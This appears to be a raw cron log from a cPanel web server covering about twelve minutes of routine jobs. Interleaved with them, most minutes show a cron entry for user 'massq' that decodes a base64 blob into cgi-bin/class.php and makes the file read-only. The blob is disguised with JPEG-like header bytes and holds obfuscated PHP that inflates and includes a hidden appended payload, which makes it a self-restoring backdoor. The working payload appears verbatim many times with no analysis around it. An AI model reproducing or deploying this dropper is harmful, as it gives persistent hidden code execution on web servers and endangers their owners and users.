Sep  4 05:27:01 server CROND[25708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:27:01 server CROND[25709]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 05:27:01 server CROND[25711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:27:01 server CROND[25710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:28:01 server CROND[26195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:28:01 server CROND[26197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:28:01 server CROND[26196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:29:01 server CROND[26582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:29:01 server CROND[26581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:29:01 server CROND[26583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:30:01 server CROND[26980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:30:01 server CROND[26982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:30:01 server CROND[26997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:30:01 server CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:30:01 server CROND[26998]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:30:01 server CROND[27000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:30:01 server CROND[27002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:30:01 server CROND[26994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:30:01 server CROND[27001]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  4 05:31:01 server CROND[27851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:31:01 server CROND[27850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:31:01 server CROND[27852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:32:01 server CROND[28237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:32:01 server CROND[28238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:32:01 server CROND[28239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:33:01 server CROND[28720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:33:01 server CROND[28721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:33:01 server CROND[28722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:34:01 server CROND[29093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:34:01 server CROND[29095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:34:01 server CROND[29094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:35:01 server CROND[29494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:35:01 server CROND[29496]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:35:01 server CROND[29509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:35:01 server CROND[29508]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 05:35:01 server CROND[29513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:35:01 server CROND[29510]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 05:35:01 server CROND[29515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:35:01 server CROND[29514]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:35:01 server CROND[29512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:36:01 server CROND[30341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:36:01 server CROND[30342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:36:01 server CROND[30343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:37:01 server CROND[30727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:37:01 server CROND[30729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:37:01 server CROND[30728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:38:01 server CROND[31112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:38:01 server CROND[31113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:38:01 server CROND[31114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:39:01 server CROND[31637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:39:01 server CROND[31638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
